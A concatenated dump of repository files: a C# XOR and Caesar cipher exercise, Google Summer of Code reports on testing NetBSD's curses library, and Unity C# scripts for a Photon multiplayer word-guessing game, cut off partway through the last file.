refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Encryption
{
class Program
{
const string encrypted_sentence = "Pokud hledáte pomocnou ruku, najdete ji na konci své paže.";
static void Main(string[] args)
{
Encryptor e = new Encryptor();
Console.WriteLine("Šifrování pomocí XOR: " + e.XOR("PRAVDA"));
Console.WriteLine("Šifrování pomocí Caesar: " + e.Caesar(7));
Console.ReadLine();
}
private class Encryptor
{
public string XOR(string key)
{
string encrypted_message = "";
for (int i = 0; i < encrypted_sentence.Length; ++i)
{
encrypted_message += (char)(encrypted_sentence[i] ^ key[i % key.Length]);
}
return encrypted_message;
}
public string Caesar(int key)
{
//úprava textu
string sentence_lower = encrypted_sentence.ToLower();
string sentence = RemoveDiacritics(sentence_lower);
string encrypted_message = "";
for (int i = 0; i < sentence.Length; ++i)
{
char letter = sentence[i];
if (!char.IsLetter(letter)) encrypted_message += letter; //nepřekládání čárek, mezer...
else
{
letter = (char)(letter + key);
if (letter > 'z')
{
letter = (char)(letter - 26);
}
else if (letter < 'a')
{
letter = (char)(letter + 26);
}
encrypted_message += letter;
}
}
return encrypted_message;
}
private string RemoveDiacritics(string s) //metoda, která zbaví text diakritiky
{
byte[] tempBytes;
tempBytes = System.Text.Encoding.GetEncoding("ISO-8859-8").GetBytes(s);
string asciiStr = System.Text.Encoding.UTF8.GetString(tempBytes);
return asciiStr;
}
}
}
}
| 23ca431ea4875e6c87571ee21127afb61844198d | [
"C#"
] | 1 | C# | DDolejs/Encryption | ab3f24f5428760bfc3d2f16512a0ad759074888b | bb7e86b0fe337b930ecc2eb2b7999151c65358f5 |
refs/heads/master | <file_sep>#define GEN_CHECK_FILE 1
#define FORCE_GEN 2<file_sep># Google Summer of Code 2020 - "Curses Library Automated Testing"
The repository contains the code created for the project **Curses Library Automated Testing** during the Google Summer of Code 2020, under the aegis of **The NetBSD Foundation**.
## Overview - Curses framework
This section briefly describes the curses library and its testing framework.
### Curses Library
Curses is a terminal control library for the NetBSD system, enabling the development of TUI applications without writing directly for any specific terminal type. Based on the terminal type it sends the correct control character. NetBSD curses follows SUSv2 (The Single Unix Specification, Version 2) specification with some additional ncurses extension. It is an important part of NetBSD OS with many applications relying on it. The library supports wide-characters and complex characters as well. Performing modifications on the curses library can be difficult because the effects of the change may be subtle and can introduce bugs that are not detected for a long time.
### Test Framework
Automated Test Framework (ATF) was introduced in 2007 but ATF cannot be used directly for curses testing for several reasons. Hence, we have a separate test framework in place for testing curses. This framework was built for NetBSD by <NAME>.
The testframework consists of 2 programs, director and slave. The framework provides its own simple language for writing tests. The slave is a curses application capable of running any curses function, while the director acts as a coordinator and interprets the test file and drives the slave program. The director can also capture slave's output which can be used for comparison with desired output.

The director forks a process operating in pty and executes a slave program on that fork. The master side of pty is used for getting the data stream that the curses function call produces which can be futher used to check the correctness of behaviour. Director and slave communicate via pipes; command pipe and slave pipe. The command pipe carries the function name and arguments, while slave pipe carries return codes and values from function calls.
### Test Language
The tests have to be written in a custom language defined by a formal grammar which is parsed by the director. The test language comprises a small number of commands, like assign, call, check which are described in the [libcurses testframe](https://github.com/NetBSD/src/blob/trunk/tests/lib/libcurses/testframe.txt). The framework supports 3 kind of strings; null terminated string, byte string, and string of type chtype, based on the quotes enclosing it.
```
include start
call win newwin 10 20 2 5
check win NON_NULL
call OK waddstr $win "Hello World!"
call OK wrefresh $win
compare waddstr_refresh.chk
```
This is a basic program which initialises the screen, creates new window, checks if the window creation was successful, adds as string "Hello World!" on the window, refreshes the window, and compares it with desired output stored in check file.
## Project Work
This work can be merged into organisation repository [https://github.com/NetBSD/src](https://github.com/NetBSD/src) under [tests/lib/libcurses](https://github.com/NetBSD/src/tree/trunk/tests/lib/libcurses).
This project involved:
1. Improvement in testframework:
- Automation of the checkfile generation.
- Enhnacement of support for complex character
- Addition of small features and code refactoring
2. Testing and bug reports:
- Tests for a family of routines like wide character, complex character, line drawing, box drawing, pad, window operations, cursor manipulations, soft label keys, input-output stream, and the ones involving their interactions.
- Raising a bunch of Problem Report (PR) under `lib` category some of which have been fixed. The list of PRs raised can be found [here](https://github.com/NamanJain8/curses/blob/master/reports/problem-reports.md)
## Future Work
- The current testframe supports complex character, but the support needs to be extended for its string. This will enable testing of [mv][w]add_wch[n]str, [mv][w]in_wchstr family of routines.
- Some of the tests for teminal manipulation routines like intrflush, def_prog_mode, typeahead, raw, etc. are not there in test suite.
- Not specifically related to the framework, but the documentation for wide character as well as complex character routines need to be added.
## Acknowledgements
I would like to extend my heart-felt gratitude to my mentor Mr. <NAME>, who helped me though all the technical difficulties and challenges I faced regarding the project. Needless to say, without his guidance, this work won't be in its current state. I would also like to thank my mentor <NAME> for valuable suggestions and guidance at various junctures of project. I would also like to specially thank <NAME> for making my blogs publish on NetBSD site. Lots of thanks to Google for sponsoring and NetBSD Foundation for funding the project in terms of valuable support from community and team.
## Conclusion
Google Summer of Code 2020 has been a unique experience for me. This has provide me the thrust into Open-Source Community and helped me understand its workings. Now, I feel more confident in my abilities towards contributing to Open Source and more excited to make fruitful contributions in future. I would like to thank Google for providing this wonderful platform that helped me spend my Summers in the best way possible!
<file_sep>
# Google Summer of Code 2020: [Final Report] Curses Library Automated Testing
My GSoC project under NetBSD involves the development of the test framework of curses. This is the final blog report in a series of blog reports; you can look at the [first report](https://blog.netbsd.org/tnf/entry/gsoc_reports_curses_library_automated) and [second report](https://blog.netbsd.org/tnf/entry/gsoc_2020_second_evaluation_report) of the series.
The first report gives a brief introduction of the project and some insights into the curses testframe through its architecture and language. To someone who wants to contribute to the test suite, this blog can act as the quick guide of how things work internally. Meanwhile, the second report discusses some of the concepts that were quite challenging for me to understand. I wanted to share them with those who may face such a challenge. Both of these reports also cover the progress made in various phases of the Summer of Code.
This being the final report in the series, I would love to share my experience throughout the project. I would be sharing some of the learning as well as caveats that I faced in the project.
## Challenges and Caveats
By the time my application for GSoC was submitted, I had gained some knowledge about the curses library and the testing framework. Combined with compiler design and library testing experience, that knowledge proved useful but not sufficient as I progressed through the project. There were times when, while writing a test case, you have to look into documentation from various sources, be it NetBSD, FreeBSD, Linux, Solaris, etc. One may find questioning his understanding of the framework, documentation, or even curses itself. This leads to the conclusion that for being a tester, one has to become a user first. That made me write minimal programs to understand the behavior. The experience was excellent, and I felt amazed by the capability and complexity of curses.
## Learnings
The foremost learning is from the experience of interacting with the open-source community and feeling confident in my abilities to contribute. Understanding the workflows; following the best practices like considering the maintainability, readability, and simplicity of the code were significant learning.
The project-specific learning was not limited to test-framework but a deeper understanding of curses as I have to browse through codes for the functions tested. As [this](https://www.linusakesson.net/programming/tty/) blog says, getting the TTY demystified was a long-time desire, which got fulfilled to some extent.
## Some tests from test suite
In this section, I would discuss a couple of tests of the test suite written during the third phase of GSoC. Curses input model provides a variety of ways to obtain input from keyboard. We will consider 2 tests `keypad` and `halfdelay` that belong to input processing category but are somewhat unrelated.
### Keypad Processing
An application can enable or disable the tarnslation of keypad using `keypad()` function. When translation is enabled, curses attempts to translate input sequence into a single key code. If disabled, curses passes the input as it is and any interpretation has to be made by application.
```
include window
call $FALSE is_keypad $win1
input "\eOA"
call 0x1b wgetch $win1
call OK keypad $win1 $TRUE
input "\eOA"
call $KEY_UP wgetch $win1
# disable assembly of KEY_UP
call OK keyok $KEY_UP $FALSE
input "\eOA"
call 0x1b wgetch $win1
```
As keypad translation is disabled by default, on input of '\eOA', the input sequence is passed as it is and only '\e' (0x1b is hex code) is received on `wgetch()`. If we enable the translation, then the same input is translated as KEY_UP. In curses, one can disable assembly of specific key symbols using `keyok()`. See related [man page](http://man.netbsd.org/keypad.3).
### Input Mode
Curses lets the application control the effect of input using four input modes; cooked, cbreak, half-delay, raw. They specify the effect of input in terms of echo-ing and delay. We will discuss about the `halfdelay` mode. The half-delay mode specifies how quickly certain curses function return to application when there is no terminal input waiting since the function is called.
```
include start
delay 1000
# input delay 1000 equals to 10 tenths of seconds
# getch must fail for halfdelay(5) and pass for halfdelay(15)
input "a"
call OK halfdelay 15
call 0x61 getch
call OK halfdelay 5
input "a"
call -1 getch
```
We have set the delay for feeding input to terminal with delay of 1s(10 tenths of second). If the application sets the halfdelay to 15, and makes a call to `getch()` it receives the input. But it fails to get the input with haldelay set to 5. See related [man page](http://man.netbsd.org/halfdelay.3).
## Project Work
The [work](https://github.com/NamanJain8/curses) can be merged into organisation repository [https://github.com/NetBSD/src](https://github.com/NetBSD/src) under [tests/lib/libcurses](https://github.com/NetBSD/src/tree/trunk/tests/lib/libcurses).
This project involved:
1. Improvement in testframework:
- Automation of the checkfile generation.
- Enhnacement of support for complex character
- Addition of small features and code refactoring
2. Testing and bug reports:
- Tests for a family of routines like wide character, complex character, line drawing, box drawing, pad, window operations, cursor manipulations, soft label keys, input-output stream, and the ones involving their interactions.
- Raising a bunch of Problem Report (PR) under `lib` category some of which have been fixed. The list of PRs raised can be found [here](https://github.com/NamanJain8/curses/blob/master/reports/problem-reports.md)
## Future Work
- The current testframe supports complex character, but the support needs to be extended for its string. This will enable testing of `[mv][w]add_wch[n]str`, `[mv][w]in_wchstr` family of routines.
- Some of the tests for teminal manipulation routines like `intrflush`, `def_prog_mode`, `typeahead`, `raw`, etc. are not there in test suite.
- Not specifically related to the framework, but the documentation for wide character as well as complex character routines need to be added.
## Acknowledgements
I want to extend my heartfelt gratitude to my mentor Mr. <NAME>, who helped me through all the technical difficulties and challenges I faced. I also thank my mentor <NAME> for valuable suggestions and guidance at various junctures of the project. A special thanks to <NAME> for making my blogs published on the NetBSD site.<file_sep># GSoC 2020 Second Evaluation Report: Curses Library Automated Testing
My GSoC project under NetBSD involves the development of test framework of curses library. This blog report is second in series of blog reports; you can have a look at the [first report](https://blog.netbsd.org/tnf/entry/gsoc_reports_curses_library_automated). This report would cover the progress made in second coding phase along with providing some insights into the libcurses.
## Complex characters
A complex character is a set of associated character, which may include a spacing character and non-spacing characters associated with it. Typical effects of non-spacing character on associated complex character *c* include: modifying the appearance of *c* (like adding diacritical marks) or bridge *c* with the following character.
The **cchar_t** data type represents a complex character and its rendition. In NetBSD, this data type has following structure:
```c
struct cchar_t {
attr_t attributes; /* character attributes */
unsigned elements; /* number of wide char in vals*/
wchar_t vals[CURSES_CCHAR_MAX]; /* wide chars including non-spacing */
};
```
*vals* array contains the spacing character and associated non-spacing characters. Note that NetBSD supports **wchar_t** (wide character) due to which multi-byte characters are supported. To use the complex characters one has to correctly set the locale settings.
In this coding period, I wrote tests for routines involving complex characters.
## Alternate character set
When you print "BSD", you would send the hex-codes 42, 53, 44 to the terminal. Capability of graphic capable printers was limited by 8-bit ASCII code. To solve this, additional character sets were introduced. We can switch between the modes using escape sequence. One such character set for Special Graphics is used by curses for line drawing. In a shell you can type
```bash
echo -e "\e(0j\e(b"
```
to get a lower-right corner glyph. This enables alternate character mode (`\e(`), prints a character(`j`) and disables alternate character mode (`\e(b`). One might wonder where this 'j' to 'Lower Right Corner glyph' comes from. You may see that mapping ("acsc=``aaffggiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~,) via
```bash
infocmp -1 $TERM | grep acsc
````
These characters are used in `box_set()`, `border_set()`, etc. functions which I tested in the second coding period.
## Progress in the second coding phase
### Improvements in the framework:
1. Added support for testing of functions to be called before `initscr()`
2. Updated the unsupported function definitions with some minor bug fixes.
### Testing and bug reports
1. Added tests for following families of functions:
- Complex character routines.
- Line/box drawing routines.
- Pad routines.
- Window and sub-window operations.
- Curson manipulation routines
2. Reported bugs (and possible fixes if I know):
- [lib/55454](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55454) `wredrawln()` in libcurses does not follow the sensible behaviour [*fixed*]
- [lib/55460](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55460) copy error in libcurses [*fixed*]
- [lib/55474](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55474) `wattroff()` unsets all attributes if passed STANDOUT as argument [*standard is not clear, so decided to have as it is*]
- [lib/55482](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55482) `slk_restore()` does not restore the slk screen
- [lib/55484](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55484) `newwin()` results into seg fault [*fixed*]
- [lib/55496](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55496) `bkgrnd()` doesn't works as expected
- [lib/55517](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55517) `wresize()` function incorrectly resizes the subwindows
I would like to thank my mentors Brett and Martin, as well as the NetBSD community for their support whenever I faced some issues.
<file_sep>
# GSoC 2020 First Evaluation Report: Curses Library Automated Testing
## Introduction
My GSoC project under NetBSD involves the development of test framework of curses library. Automated Test Framework (ATF) was introduced in 2007 but ATF cannot be used directly for curses testing for several reasons most important of them being curses has functions which do timed reads/writes which is hard to do with just piping characters to test applications. Also, stdin is not a tty device and behaves differently and may affect the results. A lot of work regarding this has been done and we have a separate test framework in place for testing curses.
The aim of project is to build a robust test suite for the library and complete the SUSv2 specification. This includes writing tests for the remaining functions and enhancing the existing ones. Meanwhile, the support for complex character function has to be completed along with fixing some bugs, adding features and improving the test framework.
## Why did I chose this project?
I am a final year undergraduate at Indian Institute of Technology, Kanpur. I have my majors in Computer Science and Engineering, and I am specifically interested in algorithms and computer systems. I had worked on building and testing a library on Distributed Tracing at an internship and understand the usefulness of having a test suite in place. Libcurses being very special in itself for the testing purpose interested me. Knowing some of the concepts of compiler design made my interest a bit more profound.
## Test Framwork
The testframework consists of 2 programs, director and slave. The framework provides its own simple language for writing tests. The slave is a curses application capable of running any curses function, while the director acts as a coordinator and interprets the test file and drives the slave program. The director can also capture slave's output which can be used for comparison with desired output.

The director forks a process operating in pty and executes a slave program on that fork. The master side of pty is used for getting the data stream that the curses function call produces which can be futher used to check the correctness of behaviour. Director and slave communicate via pipes; command pipe and slave pipe. The command pipe carries the function name and arguments, while slave pipe carries return codes and values from function calls.
Let's walk through a sample test to understand how this works. Consider a sample program:
```
include start
call win newwin 2 5 2 5
check win NON_NULL
call OK waddstr $win "Hello World!"
call OK wrefresh $win
compare waddstr_refresh.chk
```
This is a basic program which initialises the screen, creates new window, checks if the window creation was successful, adds as string "Hello World!" on the window, refreshes the window, and compares it with desired output stored in check file. The details of the language can be accessed at [libcurses testframe](https://github.com/NetBSD/src/blob/trunk/tests/lib/libcurses/testframe.txt).
The test file is interpreted by the language parser and the correponding actions are taken. Let's look how line #2 is processed. This command creates a window using `newwin()`. The line is ultimately parsed as [`call: CALL result fn_name args eol`](https://github.com/NetBSD/src/blob/1d30657e76c9400c15eb4e4cfcdff2fea6c65a5a/tests/lib/libcurses/director/testlang_parse.y#L237) grammar rule and executes the function [`do_funtion_call()`](https://github.com/NetBSD/src/blob/1d30657e76c9400c15eb4e4cfcdff2fea6c65a5a/tests/lib/libcurses/director/testlang_parse.y#L1035)). Now, this function [sends](https://github.com/NetBSD/src/blob/1d30657e76c9400c15eb4e4cfcdff2fea6c65a5a/tests/lib/libcurses/director/testlang_parse.y#L1048) function name and arguments using command pipe to the slave. The slave, who is waiting to get command from the director, reads from the pipe and [executes](https://github.com/NetBSD/src/blob/1d30657e76c9400c15eb4e4cfcdff2fea6c65a5a/tests/lib/libcurses/slave/slave.c#L144) the command. This executes the correponding curses function from the [command table](https://github.com/NetBSD/src/blob/1d30657e76c9400c15eb4e4cfcdff2fea6c65a5a/tests/lib/libcurses/slave/command_table.h#L40) and the pointer to new window is [returned](https://github.com/NetBSD/src/blob/1d30657e76c9400c15eb4e4cfcdff2fea6c65a5a/tests/lib/libcurses/slave/curses_commands.c#L3582) via the slave pipe ([here](https://github.com/NetBSD/src/blob/1d30657e76c9400c15eb4e4cfcdff2fea6c65a5a/tests/lib/libcurses/slave/commands.c#L167)) after passing wrappers of functions. The director [recieves](https://github.com/NetBSD/src/blob/1d30657e76c9400c15eb4e4cfcdff2fea6c65a5a/tests/lib/libcurses/director/testlang_parse.y#L1140) them, and returned value is assigned to a variable(`win` in line#2) or compared (`OK` in line#4). This is the typical life cycle of a certain function call made in tests.
Along with these, the test framework provides capability to `include` other test (line#1), `check` the variable content (line#3), `compare` the data stream due to function call in pty with desired stream (line#6). Tester can also provide inputs to functions via `input` directive, perform delay via `delay` directive, assign values to variables via `assign` directive, and create a wide or complex charater via `wchar` and `cchar` directives respectively. The framework supports 3 kind of strings; null terminated string, byte string, and string of type chtype, based on the quotes enclosing it.
## Progress till the first evaluation
### Improvements in the framework:
1. Automated the checkfile generation that has to be done manually earlier.
2. Completed the support for complex chacter tests in director and slave.
3. Added features like variable-variable comparison.
4. Fixed non-critical bugs in the framework.
5. Refactored the code.
### Testing and bug reports
1. Wrote tests for wide character routines.
2. Reported bugs (and possible fixes if I know):
- [lib/55433](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55433) Bug in special character handling of ins_wstr() of libcurses
- [lib/55434](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55434) Bug in hline() in libcurses [fixed]
- [lib/55443](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55443) setcchar() incorrectly sets the number of elements in cchar [fixed]
## Project Proposal and References:
- Proposal: [https://github.com/NamanJain8/curses/blob/master/reports/proposal.pdf](https://github.com/NamanJain8/curses/blob/master/reports/proposal.pdf)
- Project Repo: [https://github.com/NamanJain8/curses](https://github.com/NamanJain8/curses)
- Test Language Details: [https://github.com/NetBSD/src/blob/trunk/tests/lib/libcurses/testframe.txt](https://github.com/NetBSD/src/blob/trunk/tests/lib/libcurses/testframe.txt)
- Wonderful report by <NAME>: [https://github.com/NamanJain8/curses/blob/master/reports/curses-testframe.pdf](https://github.com/NamanJain8/curses/blob/master/reports/curses-testframe.pdf)
<file_sep>### Problem Reports
- [lib/55433](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55433) Bug in special character handling of ins_wstr() of libcurses
- [lib/55434](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55434) Bug in hline() in libcurses [fixed]
- [lib/55443](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55443) setcchar() incorrectly sets the number of elements in cchar [fixed]
- [lib/55454](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55454) `wredrawln()` in libcurses does not follow the sensible behaviour [*fixed*]
- [lib/55460](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55460) copy error in libcurses [*fixed*]
- [lib/55474](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55474) `wattroff()` unsets all attributes if passed STANDOUT as argument [*standard is not clear, so decided to have as it is*]
- [lib/55482](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55482) `slk_restore()` does not restore the slk screen
- [lib/55484](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55484) `newwin()` results into seg fault [*fixed*]
- [lib/55496](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55496) `bkgrnd()` doesn't works as expected
- [lib/55517](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55517) `wresize()` function incorrectly resizes the subwindows
- [lib/55579](https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=55579) inconsistent behaviour of subwindows | 960ace296f9c6b318f15c408320c3c8b9b526698 | [
"Markdown",
"C"
] | 6 | C | NamanJain8/curses | 3b009815eb723fb744d37b5ce91fb37bfbf52f0d | 7f1c44d0bc3c43bb9e86c35fd37dcfc2d7fba81d |
refs/heads/master | <repo_name>kleberandrade/astruss-nasaspaceapss-unity<file_sep>/Assets/Scripts/Dialogo/DialogManager.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class DialogManager : MonoBehaviour
{
public static DialogManager Instance { get; private set; }
private void Awake()
{
if (Instance == null)
Instance = this;
else
Destroy(gameObject);
}
[Header("HUD")]
public Image m_AvatarImage;
public Text m_NameText;
public Text m_SentenceText;
public MoveUI m_Animator;
private Queue<DialogSentence> m_Sentences = new Queue<DialogSentence>();
private bool m_IsOpen;
private AudioSource m_AudioSource;
private void Start()
{
m_AudioSource = GetComponent<AudioSource>();
if (!m_AudioSource)
{
m_AudioSource = gameObject.AddComponent<AudioSource>();
m_AudioSource.playOnAwake = false;
}
}
public void OpenDialogAnimation(bool open)
{
m_IsOpen = open;
if (m_Animator)
{
if (open)
m_Animator.Enable();
else
m_Animator.Disable();
}
}
public void BeginDialog(Dialog dialog)
{
if (m_IsOpen) return;
OpenDialogAnimation(true);
m_Sentences.Clear();
if (m_NameText) m_NameText.text = dialog.m_Name;
if (m_AvatarImage) m_AvatarImage.sprite = dialog.m_Avatar;
foreach (var sentence in dialog.m_Sentences)
m_Sentences.Enqueue(sentence);
StartCoroutine(FirstSentence());
}
public IEnumerator FirstSentence()
{
m_SentenceText.text = string.Empty;
yield return new WaitForSeconds(0.5f);
NextSentence();
}
public void NextSentence()
{
if (m_AudioSource)
m_AudioSource.Stop();
if (m_Sentences.Count == 0)
{
OpenDialogAnimation(false);
return;
}
var sentence = m_Sentences.Dequeue();
Debug.Log($"{sentence.m_Text}");
StopAllCoroutines();
StartCoroutine(WriteSentence(sentence));
}
private IEnumerator WriteSentence(DialogSentence sentence)
{
if (m_AudioSource)
{
m_AudioSource.clip = sentence.m_Voice;
m_AudioSource.Play();
}
//m_SentenceText.text = sentence.m_Text;
m_SentenceText.text = string.Empty;
foreach (char letter in sentence.m_Text.ToCharArray())
{
while (Time.timeScale == 0) yield return null;
m_SentenceText.text += letter;
yield return null;
}
}
}
[Serializable]
public class Dialog
{
public string m_Name;
public Sprite m_Avatar;
public List<DialogSentence> m_Sentences;
}
[Serializable]
public class DialogSentence
{
[TextArea(1,10)]
public string m_Text;
public AudioClip m_Voice;
}<file_sep>/Assets/Scripts/Manager/BalloonManager.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.SceneManagement;
public class BalloonManager : MonoBehaviour
{
public Text Ballon_Title;
public Text Ballon_Text;
public string[] Title;
public string[] Text;
public int Index = 0;
[Header("Transition")]
public FadeInOut m_Fader;
[Header("Loading")]
public GameObject m_LoadingPanel;
public float m_DelayAfterLaoding = 2.0f;
public void NextBalloon()
{
Index++;
if(Title.Length <= Index){
LoadLevel("SingIn");
}else{
Ballon_Title.text = Title[Index];
Ballon_Text.text = Text[Index];
}
}
public void LoadLevel(string nextSceneName)
{
StartCoroutine(ChangeScene(nextSceneName, false));
}
private IEnumerator ChangeScene(string nextSceneName, bool loading)
{
List<BehaviorUI> list = Helper.FindAll<BehaviorUI>();
foreach (BehaviorUI ui in list)
ui.Disable();
m_Fader.Show();
yield return new WaitForSeconds(m_Fader.m_Time);
if (loading)
{
m_LoadingPanel.SetActive(true);
m_Fader.Hide();
yield return new WaitForSeconds(m_Fader.m_Time);
}
AsyncOperation asyncScene = SceneManager.LoadSceneAsync(nextSceneName);
asyncScene.allowSceneActivation = false;
while (!asyncScene.isDone)
{
if (asyncScene.progress >= 0.9f)
{
if (loading)
{
yield return new WaitForSeconds(m_DelayAfterLaoding);
m_Fader.Show();
yield return new WaitForSeconds(m_Fader.m_Time);
m_LoadingPanel.SetActive(false);
}
asyncScene.allowSceneActivation = true;
}
yield return null;
}
}
}
<file_sep>/Assets/Scripts/UI/ScalePulseUI.cs
using UnityEngine;
public class ScalePulseUI : MonoBehaviour
{
public enum ScalePulseState { None, Running }
private ScalePulseState m_State = ScalePulseState.None;
public float m_Size = 0.5f;
public float m_Time = 0.3f;
public AnimationCurve m_Curve = new AnimationCurve(new Keyframe(0, 0), new Keyframe(1, 1));
private Vector3 m_StartScale;
private float m_StartTime;
private void Start()
{
m_StartScale = transform.localScale;
}
private void Update()
{
if (m_State == ScalePulseState.None)
return;
float time = (Time.time - m_StartTime) / m_Time;
transform.localScale = m_StartScale + Vector3.one * m_Curve.Evaluate(time) * m_Size;
if (time >= 1.0f)
m_State = ScalePulseState.None;
}
public void Pulse()
{
if (m_State == ScalePulseState.Running)
return;
m_State = ScalePulseState.Running;
m_StartTime = Time.time;
}
}
<file_sep>/Assets/Scripts/UI/ScalePingPongUI.cs
using UnityEngine;
public class ScalePingPongUI : MonoBehaviour
{
public float m_Range = 0.05f;
public float m_SmoothTime = 10.0f;
private Vector3 m_Scale;
private void Start()
{
m_Scale = transform.localScale;
}
private void LateUpdate()
{
transform.localScale = m_Scale + Vector3.one * Mathf.Sin(Time.time * m_SmoothTime) * m_Range;
}
}
<file_sep>/Assets/Scripts/Manager/CardManager.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class CardManager : MonoBehaviour
{
[Header("Cards")]
public GameObject m_CardButton;
public List<GameObject> m_Cards = new List<GameObject>();
public GameObject m_CardParent;
public void SetWords(List<string> words)
{
foreach (var card in m_Cards)
Destroy(card);
m_Cards.Clear();
foreach (var word in words)
{
GameObject button = Instantiate(m_CardButton);
button.transform.parent = m_CardParent.transform;
button.transform.localScale = Vector3.one;
Card card = new Card()
{
label = word,
};
var script = button.GetComponent<CardButton>();
script.SetCard(card);
m_Cards.Add(button);
}
}
}
[System.Serializable]
public class Card
{
public string label;
}<file_sep>/Assets/Scripts/Game/GameManager.cs
using Photon.Pun;
using System.Collections.Generic;
using System.Linq;
using UnityEngine;
using UnityEngine.SceneManagement;
using UnityEngine.UI;
public class GameManager : MonoBehaviour
{
public static GameManager Instance { get; private set; }
void Awake()
{
if (Instance == null) {
Instance = this;
}
m_CarManager = GetComponent<CardManager>();
m_PhotonView = GetComponent<PhotonView>();
}
[Header("Rules")]
public int m_MaxQuestions = 50;
[Header("Points")]
public int m_NextQuestionPoint = 1;
public int m_WrongAnswerPoint = 5;
[Header("Words")]
public int m_NumberWordSelect = 3;
public TextAsset m_TextFile;
public List<string> m_Words = new List<string>();
[Header("Footer")]
public GameObject m_PilotFooter;
public GameObject m_TeamFooter;
[Header("UI")]
public Text m_WordTextUI;
public Text m_ScoreTextUI;
[Header("Dialogs")]
public GameObject m_TutorialDialog;
public GameObject m_SelectWordDialog;
public GameObject m_QuitDialog;
public GameObject m_TeamGameoverDialog;
public GameObject m_PilotGameoverDialog;
private PhotonView m_PhotonView;
private int m_QuestionUsed = 0;
private string m_PlayerSelected = "";
private HashSet<string> m_WordSelectedList = new HashSet<string>();
private string m_WordSelected = "";
private CardManager m_CarManager;
private void Start()
{
var words = m_TextFile.text.Split('\n');
m_Words = new List<string>(words);
RandomPlayerSelect();
}
private void RandomPlayerSelect()
{
if (PhotonNetwork.IsMasterClient)
{
Debug.Log("OnSelectPlayer");
var index = Random.Range(0, PhotonNetwork.CurrentRoom.Players.Count);
var amount = 0;
string selectedPlayer = "";
foreach (var player in PhotonNetwork.CurrentRoom.Players)
{
Debug.Log($"{player.Value.NickName}");
if (index == amount)
{
selectedPlayer = player.Value.NickName;
Debug.Log($"Random {index}/{PhotonNetwork.CurrentRoom.Players.Count} = Pilot is {m_PlayerSelected}");
break;
}
amount++;
}
m_PhotonView.RPC("SetPlayerSelected", RpcTarget.AllBuffered, selectedPlayer as object);
m_PhotonView.RPC("OnSelectWord", RpcTarget.AllBuffered);
}
}
[PunRPC]
public void SetPlayerSelected(object seletedPlayer)
{
m_PlayerSelected = (string)seletedPlayer;
}
private void Update()
{
m_ScoreTextUI.text = $"{m_MaxQuestions - m_QuestionUsed}/{m_MaxQuestions}";
m_WordTextUI.text = m_WordSelected;
m_WordTextUI.gameObject.SetActive(PhotonNetwork.LocalPlayer.NickName.Equals(m_PlayerSelected));
m_PilotFooter.SetActive(PhotonNetwork.LocalPlayer.NickName.Equals(m_PlayerSelected));
m_TeamFooter.SetActive(!PhotonNetwork.LocalPlayer.NickName.Equals(m_PlayerSelected));
}
public void ShowChooseWordDialog()
{
if (PhotonNetwork.LocalPlayer.NickName.Equals(m_PlayerSelected))
{
Debug.Log("ShowChooseWordDialog");
Debug.Log($"ShowChooseWordDialog: {PhotonNetwork.LocalPlayer.NickName}/{m_PlayerSelected}");
m_SelectWordDialog.SetActive(true);
}
}
public void SelectWord(string word)
{
if (PhotonNetwork.LocalPlayer.NickName.Equals(m_PlayerSelected))
{
Debug.Log("SelectWord");
Debug.Log($"SelectWord: {PhotonNetwork.LocalPlayer.NickName}/{m_PlayerSelected}");
if (PhotonNetwork.LocalPlayer.NickName.Equals(m_PlayerSelected))
{
m_WordSelected = word;
m_SelectWordDialog.SetActive(false);
}
}
}
[PunRPC]
private void OnSelectWord()
{
Debug.Log("OnSelectWord");
m_WordSelectedList.Clear();
while (m_WordSelectedList.Count < m_NumberWordSelect)
{
var index = Random.Range(0, m_Words.Count);
m_WordSelectedList.Add(m_Words[index]);
Debug.Log($"Word selected: {m_Words[index]}");
}
m_CarManager.SetWords(m_WordSelectedList.ToList());
m_TutorialDialog.SetActive(true);
}
public void NextAnswer()
{
m_PhotonView.RPC("OnNextAnswer", RpcTarget.AllBuffered, m_NextQuestionPoint);
}
public void WrongAnswer()
{
m_PhotonView.RPC("OnNextAnswer", RpcTarget.AllBuffered, m_WrongAnswerPoint);
}
[PunRPC]
private void OnNextAnswer(int points)
{
m_QuestionUsed += points;
if (m_QuestionUsed >= m_MaxQuestions)
m_PilotGameoverDialog.SetActive(true);
}
public void RightAnswer()
{
m_PhotonView.RPC("OnRightAsked", RpcTarget.AllBuffered);
}
[PunRPC]
public void OnRightAsked()
{
m_TeamGameoverDialog.SetActive(true);
}
public void TryAgain()
{
m_PhotonView.RPC("OnTryAgain", RpcTarget.AllBuffered);
}
[PunRPC]
private void OnTryAgain()
{
m_PilotGameoverDialog.SetActive(false);
m_TeamGameoverDialog.SetActive(false);
m_QuestionUsed = 0;
RandomPlayerSelect();
}
public void LeaveRoom()
{
PhotonNetwork.LeaveRoom();
